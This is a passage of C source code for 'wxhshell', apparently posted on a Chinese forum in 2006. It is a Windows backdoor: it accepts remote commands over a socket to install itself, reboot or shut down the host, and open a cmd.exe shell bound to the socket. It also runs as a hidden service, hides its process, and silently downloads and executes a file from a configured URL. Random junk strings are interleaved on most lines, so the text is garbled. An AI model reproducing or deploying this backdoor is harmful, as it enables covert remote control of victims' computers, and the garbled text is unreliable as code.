  } Y. 1dk  
  else { O tD!@GQ6  
F0 ^kUyF|  
    switch(cmd[0]) { cjyb:gAO  
  $?Z-BD1  
  // 帮助 ,Jqk0cW2  
  case '?': { E*]%@6tH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ("T8mt[w>  
    break; 6,j&u7  
  } Hr/3nq}.  
  // 安装 AiOz1Er  
  case 'i': { ~9h/{$  
    if(Install()) ZB5u\NpcW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v3Xt<I=4y  
    else C#@>osC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P%_PG%O2p  
    break; -gR }^D   
    } e,I{+ ^P  
  // 卸载 >X0c:p Pu  
  case 'r': { j`LvS  
    if(Uninstall()) V(6GM+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u .R   
    else p({)ZU3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y - Ge"mY  
    break; _;8+L\  
    } o:nh3K/YJ  
  // 显示 wxhshell 所在路径 b]XDfe  
  case 'p': { +8eW/Bs@2  
    char svExeFile[MAX_PATH]; l.AG^b  
    strcpy(svExeFile,"\n\r"); i48Tb7Rx~n  
      strcat(svExeFile,ExeFile); ~ s# !\Ye  
        send(wsh,svExeFile,strlen(svExeFile),0); hJasnY7  
    break; ` 8OA:4).  
    } t}A n:  
  // 重启 ppXt8G3% x  
  case 'b': { w?Nx ^)xX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q@8j[15  
    if(Boot(REBOOT)) 9!UFLZR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ," ~4l&  
    else { !Q" 3B6 86  
    closesocket(wsh); +t`QHvxv  
    ExitThread(0); W y%'<f  
    } 1 6G/'Hb  
    break; I15g G.)  
    } L; f  
  // 关机 }5{#f`Ca6  
  case 'd': { XJ9bY\>)q1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *oP&'$P  
    if(Boot(SHUTDOWN)) &9,<_1~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 }HS`) /  
    else { b{i7FRR>o4  
    closesocket(wsh); 1h0cId8d  
    ExitThread(0); -YfpfNt  
    } jm$v0=W9#  
    break; 5p5S_%R$e  
    } 7.DAwx.HYK  
  // 获取shell ~n $e  
  case 's': { f[$9k}.  
    CmdShell(wsh); n]]!:jFC  
    closesocket(wsh); ;zZGV4Qc~  
    ExitThread(0); {<}kqn83sT  
    break; Ow7}&\;^-  
  } kTe0"  
  // 退出 oP( Hkp,'  
  case 'x': { ee5QZ,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8`j;v>2  
    CloseIt(wsh); DGllJ_/Z  
    break; w+Cs=!  
    } S/l?wwD  
  // 离开 +ysP#uAA  
  case 'q': { \JX.)&> -  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tr@}  
    closesocket(wsh); Z-BPC|e  
    WSACleanup(); ;q6FdS  
    exit(1); B\z4o\am%  
    break; SOPQg?'n=V  
        } %`Q<_LTU  
  } -A A='s  
  } j)[ w X  
R9B!F{! 5  
  // 提示信息 3"OD"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B U^3Ux$  
} ,'69RL?-Wg  
  } u  teI[Q  
(&x#VmDL  
  return; K[( h2&  
} R0v5mD$:G  
z9#iU>@  
// shell模块句柄 1*!`G5c,}  
int CmdShell(SOCKET sock) {Noa4i  
{ ua -cX3E  
STARTUPINFO si; WV'FW)%  
ZeroMemory(&si,sizeof(si)); G()- NJ{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aH1mW;,1u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fGD#|a;,  
PROCESS_INFORMATION ProcessInfo; b1A8 -![  
char cmdline[]="cmd"; k!lz_Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l'2a?1/q  
  return 0; I}aiy.l  
} @I '_  
LOkNDmj  
// 自身启动模式 6k=ink-/  
int StartFromService(void) T"2D<7frbo  
{ ;&Oma`Ec  
typedef struct <Eo; CaaF/  
{ _e;$Y#`EO  
  DWORD ExitStatus; z$d/Vz,a  
  DWORD PebBaseAddress; ,\FJVS;NeJ  
  DWORD AffinityMask; Y M_\ ZK:  
  DWORD BasePriority; 9 OC!\' 8  
  ULONG UniqueProcessId; 27t23@{YL  
  ULONG InheritedFromUniqueProcessId; 'RlPj 0Cg  
}   PROCESS_BASIC_INFORMATION; JKkR963 O  
jI8qiZ);~  
PROCNTQSIP NtQueryInformationProcess; yBPaGZ{f  
`.FvuwP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P"<HxT?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d2x|PpmH  
&.Jp,Xt)  
  HANDLE             hProcess; dfDz/sD*  
  PROCESS_BASIC_INFORMATION pbi; x_JCH7-  
<[H1S@{W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f3+@u2Pv  
  if(NULL == hInst ) return 0; IR+dGqIjZb  
>!OD[9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >HUU`= SC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \I@=EF- &  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5Z7<X2  
N%A[}Y0;MW  
  if (!NtQueryInformationProcess) return 0; v [_C^;  
:/BU-SFK^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .]qj];m  
  if(!hProcess) return 0; $f-f0t'  
B?nQUIb:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }' mBqn  
O/9dPod  
  CloseHandle(hProcess); t&SC>8M<  
l)glT]G3+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t]~L o3  
if(hProcess==NULL) return 0; T<|B1jA  
>5&'_  
HMODULE hMod; (I d]'w4  
char procName[255]; af61!?K  
unsigned long cbNeeded; ey@]B5  
3%] %c6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $/aZ/O)F  
2NLD7A  
  CloseHandle(hProcess); ^G+1nY4? J  
x?:[:Hf   
if(strstr(procName,"services")) return 1; // 以服务启动 }jM&GH1  
-bo5/`x  
  return 0; // 注册表启动  eU"!X9  
}  $&96qsr  
0sv#* &0=  
// 主模块 Tw< N  
int StartWxhshell(LPSTR lpCmdLine) X ?/C9  
{ h&+dIk\[3  
  SOCKET wsl; Ji_3*(  
BOOL val=TRUE; 3[E3]]OVa  
  int port=0; bu[v[U4  
  struct sockaddr_in door; kzG m D i  
{$,e@nn  
  if(wscfg.ws_autoins) Install(); :A\8#]3  
.v36xXK(  
port=atoi(lpCmdLine); aU,Zjm7fp  
(c ?OcwTH  
if(port<=0) port=wscfg.ws_port; \f6SA{vR|  
XYtDovbv&  
  WSADATA data; N<1u,[+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c rPEr  
~F^(O{EG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QAigbSn]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G[1:<Vg8  
  door.sin_family = AF_INET; sr+* q6W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z~o6%_xe  
  door.sin_port = htons(port); \WG6\Zg0A  
%e2,p&0G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r#^/qs(~  
closesocket(wsl); { as#lHn  
return 1; PG<tic<?  
} [R[]&\W  
-t_t3aU|  
  if(listen(wsl,2) == INVALID_SOCKET) { bT<if@h-  
closesocket(wsl); n}MW# :eJe  
return 1; Yy6Mkw7X  
} eXY*l>B  
  Wxhshell(wsl); 9k mkF,  
  WSACleanup(); >M{=qs  
Bb2;zOGdA  
return 0; XBE+O7  
=X[]0.I%  
} j:# wt70  
`9BZ))Pg  
// 以NT服务方式启动 V9*Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fmf3Hp@  
{ nFU'DZ  
DWORD   status = 0; p< i;@H;:  
  DWORD   specificError = 0xfffffff; @:\Iw"P  
U|QLc   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4.:2!Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &<}vs`W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F+mn d,3  
  serviceStatus.dwWin32ExitCode     = 0; hI.@!$~=  
  serviceStatus.dwServiceSpecificExitCode = 0; kLa9'c0  
  serviceStatus.dwCheckPoint       = 0; n,hl6[OL7  
  serviceStatus.dwWaitHint       = 0; P(BjXMd  
8yEN)RqI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 64Gd^.Z  
  if (hServiceStatusHandle==0) return; qRkY-0vBP  
'NyIy:  
status = GetLastError(); x%Ph``XI  
  if (status!=NO_ERROR) h/E+r:2]  
{ 2Fk4jHj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; od=%8z  
    serviceStatus.dwCheckPoint       = 0; [IT*>;b+?  
    serviceStatus.dwWaitHint       = 0; u;f${Wn'3  
    serviceStatus.dwWin32ExitCode     = status; hK F*{,'  
    serviceStatus.dwServiceSpecificExitCode = specificError; .?T,>#R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6)i4&  
    return; c++GnQc.  
  } N `-\'h  
npC:SrI%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "mlVs/nsyG  
  serviceStatus.dwCheckPoint       = 0; E9e|+$  
  serviceStatus.dwWaitHint       = 0; 8aDh HXI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s8L=:hiSf)  
} 32nB9[l  
a*?bnw?  
// 处理NT服务事件,比如:启动、停止 nBw4YDR!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _m.u@+g  
{ DX>Yf}  
switch(fdwControl) 4D+S\S0bk  
{ d:C|laZHn  
case SERVICE_CONTROL_STOP: 1t&LNIc|^  
  serviceStatus.dwWin32ExitCode = 0; a6\0XVU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~6YTm6o  
  serviceStatus.dwCheckPoint   = 0; cu{c:z~  
  serviceStatus.dwWaitHint     = 0; m'{gO9V  
  { jeb ]3i=pw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]-ad\PI$  
  } c>I(6$  
  return; X{cFq W7  
case SERVICE_CONTROL_PAUSE: D6X0(pU0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cngi5._Lb  
  break; PkM]jbLe8  
case SERVICE_CONTROL_CONTINUE: .[mI9dc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?8AV-rRX  
  break; v@m2c_,  
case SERVICE_CONTROL_INTERROGATE: t&5N{C:  
  break; O5X@'.#rU  
}; in}d(%3h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z~8`xn,  
} X5[.X()M4  
u={A4A#  
// 标准应用程序主函数 >3aB{[[N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) imb.CYS74  
{ okwkMd-yW  
i 'bviD  
// 获取操作系统版本 'uy\vR&Pz  
OsIsNt=GetOsVer(); @fz0-vT,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7 ) Q>R  
:Vdo.uUa  
  // 从命令行安装 % YgGw:wZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); :pz`bFJk  
l!S}gbM  
  // 下载执行文件 |q+3X)Y  
if(wscfg.ws_downexe) { hIBW$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8d|/^U.w~V  
  WinExec(wscfg.ws_filenam,SW_HIDE); DIAHI V<  
} fHFy5j0H  
Q[rmsk 2L'  
if(!OsIsNt) { PMOyZ3  
// 如果时win9x,隐藏进程并且设置为注册表启动 YCBp ]xuE  
HideProc(); {3)^$F=T  
StartWxhshell(lpCmdLine); !H)Cua)  
} ]2zzY::Sd=  
else d2\#Zlu<  
  if(StartFromService()) oGIh:n7 q+  
  // 以服务方式启动 "W71#n+ [  
  StartServiceCtrlDispatcher(DispatchTable); _;z IH5 H  
else Z [[AmxE'l  
  // 普通方式启动 T:<mme3v  
  StartWxhshell(lpCmdLine); }# cFr)4f  
8PRKSJ[@K  
return 0; @m`1Vq?O  
}
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只看该作者 1 发表于: 2006-10-10
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